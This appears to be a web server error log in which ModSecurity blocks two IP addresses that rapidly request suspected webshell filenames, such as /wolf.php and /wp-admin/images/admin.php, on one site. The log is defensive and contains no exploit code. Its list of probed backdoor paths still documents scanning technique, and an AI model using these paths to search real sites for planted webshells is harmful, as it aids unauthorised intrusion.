[Sun Apr 12 11:37:31.108994 2026] [:error] [pid 26567:tid 26593] [client 20.111.63.225:27786] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wdone1.php"] [unique_id "adsTe3hRpg6ptWFyFx1WUwAAARg"]
[Sun Apr 12 11:37:31.967384 2026] [:error] [pid 60280:tid 60303] [client 20.111.63.225:22541] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wdone1.php"] [unique_id "adsTe3BlLnDOYuIykkiN7wAAAdU"]
[Sun Apr 12 11:37:33.084762 2026] [:error] [pid 26600:tid 26651] [client 20.111.63.225:45674] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wdone1.php"] [unique_id "adsTfe1YwAZiXhQKLYrPmQAAAZY"]
[Sun Apr 12 11:37:34.464755 2026] [:error] [pid 60280:tid 60305] [client 20.111.63.225:45635] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wdone1.php"] [unique_id "adsTfnBlLnDOYuIykkiN_QAAAdc"]
[Sun Apr 12 11:37:42.031669 2026] [:error] [pid 26599:tid 26621] [client 20.111.63.225:53410] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "adsThnG89LXoQbk_rwCRrwAAAVM"]
[Sun Apr 12 11:37:43.743476 2026] [:error] [pid 60280:tid 60289] [client 20.111.63.225:41747] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "adsTh3BlLnDOYuIykkiOhAAAAcc"]
[Sun Apr 12 11:37:53.132693 2026] [:error] [pid 25329:tid 25415] [client 20.111.63.225:57579] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/om.php"] [unique_id "adsTkWdcIYsS8Iyaj113oAAAAJg"]
[Sun Apr 12 11:37:53.915424 2026] [:error] [pid 25327:tid 25337] [client 20.111.63.225:3123] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/om.php"] [unique_id "adsTkS6h2tZEVJo9JFKMwAAAAAE"]
[Sun Apr 12 11:37:54.663070 2026] [:error] [pid 60280:tid 60296] [client 20.111.63.225:58419] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/om.php"] [unique_id "adsTknBlLnDOYuIykkiOwgAAAc4"]
[Sun Apr 12 11:37:55.167744 2026] [:error] [pid 25328:tid 25367] [client 20.111.63.225:3882] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/om.php"] [unique_id "adsTk8xUaQZxT-e0YsBzhwAAAEM"]
[Sun Apr 12 11:37:56.206335 2026] [:error] [pid 60280:tid 60299] [client 20.111.63.225:57546] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/006.php"] [unique_id "adsTlHBlLnDOYuIykkiOzQAAAdE"]
[Sun Apr 12 11:37:57.011102 2026] [:error] [pid 60280:tid 60284] [client 20.111.63.225:59908] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/006.php"] [unique_id "adsTlXBlLnDOYuIykkiO1gAAAcI"]
[Sun Apr 12 11:37:57.601077 2026] [:error] [pid 25437:tid 25458] [client 20.111.63.225:58381] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/006.php"] [unique_id "adsTlXf97wYZje1ep_O8TAAAANM"]
[Sun Apr 12 11:37:58.317585 2026] [:error] [pid 26600:tid 26652] [client 20.111.63.225:58399] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/006.php"] [unique_id "adsTlu1YwAZiXhQKLYrP0wAAAZc"]
[Sun Apr 12 11:37:59.189883 2026] [:error] [pid 25437:tid 25457] [client 20.111.63.225:33123] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "adsTl3f97wYZje1ep_O8TgAAANI"]
[Sun Apr 12 11:38:00.303791 2026] [:error] [pid 60280:tid 60300] [client 20.111.63.225:3878] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "adsTmHBlLnDOYuIykkiO4wAAAdI"]
[Sun Apr 12 11:38:00.904635 2026] [:error] [pid 60280:tid 60291] [client 20.111.63.225:59476] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "adsTmHBlLnDOYuIykkiO5AAAAck"]
[Sun Apr 12 11:38:01.549280 2026] [:error] [pid 25327:tid 25343] [client 20.111.63.225:3876] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "adsTmS6h2tZEVJo9JFKMzAAAAAc"]
[Sun Apr 12 11:38:02.509618 2026] [:error] [pid 26599:tid 26602] [client 20.111.63.225:30206] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xda.php"] [unique_id "adsTmnG89LXoQbk_rwCRxgAAAUA"]
[Sun Apr 12 11:38:03.584109 2026] [:error] [pid 26600:tid 26641] [client 20.111.63.225:49321] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xda.php"] [unique_id "adsTm-1YwAZiXhQKLYrP1gAAAYw"]
[Sun Apr 12 11:38:04.798149 2026] [:error] [pid 25437:tid 25447] [client 20.111.63.225:21565] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xda.php"] [unique_id "adsTnHf97wYZje1ep_O8WAAAAMg"]
[Sun Apr 12 11:38:05.859309 2026] [:error] [pid 60280:tid 60299] [client 20.111.63.225:25087] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xda.php"] [unique_id "adsTnXBlLnDOYuIykkiO6AAAAdE"]
[Sun Apr 12 11:38:07.430336 2026] [:error] [pid 25328:tid 25401] [client 20.111.63.225:29803] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wolf.php"] [unique_id "adsTn8xUaQZxT-e0YsBzkgAAAFU"]
[Sun Apr 12 11:38:09.251642 2026] [:error] [pid 25329:tid 25384] [client 20.111.63.225:25431] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wolf.php"] [unique_id "adsToWdcIYsS8Iyaj113pwAAAIU"]
[Sun Apr 12 11:38:10.473116 2026] [:error] [pid 60280:tid 60306] [client 20.111.63.225:30207] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wolf.php"] [unique_id "adsTonBlLnDOYuIykkiO9gAAAdg"]
[Sun Apr 12 11:38:11.610094 2026] [:error] [pid 25437:tid 25452] [client 20.111.63.225:34969] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wolf.php"] [unique_id "adsTo3f97wYZje1ep_O8awAAAM0"]
[Sun Apr 12 11:38:12.686143 2026] [:error] [pid 60280:tid 60284] [client 20.111.63.225:33971] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww.php"] [unique_id "adsTpHBlLnDOYuIykkiPAgAAAcI"]
[Sun Apr 12 11:38:13.919888 2026] [:error] [pid 25328:tid 25401] [client 20.111.63.225:24512] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww.php"] [unique_id "adsTpcxUaQZxT-e0YsBzogAAAFU"]
[Sun Apr 12 11:38:16.724840 2026] [:error] [pid 60280:tid 60297] [client 20.111.63.225:3767] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww.php"] [unique_id "adsTqHBlLnDOYuIykkiPEQAAAc8"]
[Sun Apr 12 11:38:19.495778 2026] [:error] [pid 25328:tid 25396] [client 20.111.63.225:23556] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww.php"] [unique_id "adsTq8xUaQZxT-e0YsBzswAAAFM"]
[Sun Apr 12 11:38:21.348010 2026] [:error] [pid 26600:tid 26636] [client 20.111.63.225:31502] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "adsTre1YwAZiXhQKLYrP7AAAAYc"]
[Sun Apr 12 11:38:24.235495 2026] [:error] [pid 26599:tid 26605] [client 20.111.63.225:22635] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "adsTsHG89LXoQbk_rwCR1AAAAUM"]
[Sun Apr 12 11:38:24.926216 2026] [:error] [pid 25327:tid 25345] [client 20.111.63.225:3672] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "adsTsC6h2tZEVJo9JFKM3gAAAAk"]
[Sun Apr 12 11:38:25.986346 2026] [:error] [pid 60280:tid 60297] [client 20.111.63.225:3671] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "adsTsXBlLnDOYuIykkiPHgAAAc8"]
[Sun Apr 12 11:38:27.111213 2026] [:error] [pid 25328:tid 25385] [client 20.111.63.225:4021] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1aa.php"] [unique_id "adsTs8xUaQZxT-e0YsBzxwAAAE4"]
[Sun Apr 12 11:38:28.848802 2026] [:error] [pid 25328:tid 25380] [client 20.111.63.225:47876] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1aa.php"] [unique_id "adsTtMxUaQZxT-e0YsBz0AAAAEw"]
[Sun Apr 12 11:38:30.608528 2026] [:error] [pid 25437:tid 25454] [client 20.111.63.225:3508] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1aa.php"] [unique_id "adsTtnf97wYZje1ep_O8gAAAAM8"]
[Sun Apr 12 11:38:31.948007 2026] [:error] [pid 60280:tid 60283] [client 20.111.63.225:3483] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1aa.php"] [unique_id "adsTt3BlLnDOYuIykkiPOQAAAcE"]
[Sun Apr 12 11:38:37.899554 2026] [:error] [pid 25327:tid 25358] [client 20.111.63.225:32049] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/12.php"] [unique_id "adsTvS6h2tZEVJo9JFKM5QAAABY"]
[Sun Apr 12 11:38:39.551122 2026] [:error] [pid 60280:tid 60290] [client 20.111.63.225:3513] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/12.php"] [unique_id "adsTv3BlLnDOYuIykkiPXAAAAcg"]
[Sun Apr 12 11:38:40.912521 2026] [:error] [pid 60280:tid 60305] [client 20.111.63.225:3204] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/12.php"] [unique_id "adsTwHBlLnDOYuIykkiPYwAAAdc"]
[Sun Apr 12 11:38:41.516816 2026] [:error] [pid 25328:tid 25391] [client 20.111.63.225:49225] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/12.php"] [unique_id "adsTwcxUaQZxT-e0YsBz8wAAAFE"]
[Sun Apr 12 11:38:42.475044 2026] [:error] [pid 60280:tid 60302] [client 20.111.63.225:27274] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adsTwnBlLnDOYuIykkiPagAAAdQ"]
[Sun Apr 12 11:38:43.550761 2026] [:error] [pid 25328:tid 25366] [client 20.111.63.225:49226] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adsTw8xUaQZxT-e0YsBz9wAAAEI"]
[Sun Apr 12 11:38:45.749157 2026] [:error] [pid 60280:tid 60285] [client 20.111.63.225:49235] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adsTxXBlLnDOYuIykkiPfwAAAcM"]
[Sun Apr 12 11:38:47.479155 2026] [:error] [pid 26600:tid 26635] [client 20.111.63.225:39384] [client 20.111.63.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adsTx-1YwAZiXhQKLYrQDAAAAYY"]
[Sun Apr 12 12:11:33.788680 2026] [:error] [pid 26600:tid 26633] [client 20.215.64.75:61014] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nwflm.php"] [unique_id "adsbde1YwAZiXhQKLYrYnQAAAYQ"]
[Sun Apr 12 12:11:34.296075 2026] [:error] [pid 60280:tid 60296] [client 20.215.64.75:61002] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nwflm.php"] [unique_id "adsbdnBlLnDOYuIykkiizgAAAc4"]
[Sun Apr 12 12:11:34.802577 2026] [:error] [pid 60280:tid 60299] [client 20.215.64.75:62930] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nwflm.php"] [unique_id "adsbdnBlLnDOYuIykkii0wAAAdE"]
[Sun Apr 12 12:11:35.311544 2026] [:error] [pid 60280:tid 60292] [client 20.215.64.75:62915] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nwflm.php"] [unique_id "adsbd3BlLnDOYuIykkii1QAAAco"]
[Sun Apr 12 12:11:35.826250 2026] [:error] [pid 60280:tid 60283] [client 20.215.64.75:52473] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "adsbd3BlLnDOYuIykkii2AAAAcE"]
[Sun Apr 12 12:11:36.331864 2026] [:error] [pid 26600:tid 26649] [client 20.215.64.75:9560] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "adsbeO1YwAZiXhQKLYrYnwAAAZQ"]
[Sun Apr 12 12:11:36.838946 2026] [:error] [pid 60280:tid 60296] [client 20.215.64.75:59087] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "adsbeHBlLnDOYuIykkii2QAAAc4"]
[Sun Apr 12 12:11:37.345085 2026] [:error] [pid 60280:tid 60287] [client 20.215.64.75:9549] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "adsbeXBlLnDOYuIykkii3AAAAcU"]
[Sun Apr 12 12:11:37.851851 2026] [:error] [pid 25328:tid 25398] [client 20.215.64.75:9555] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "adsbecxUaQZxT-e0YsCCOQAAAFQ"]
[Sun Apr 12 12:11:38.359842 2026] [:error] [pid 26600:tid 26643] [client 20.215.64.75:52455] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "adsbeu1YwAZiXhQKLYrYoQAAAY4"]
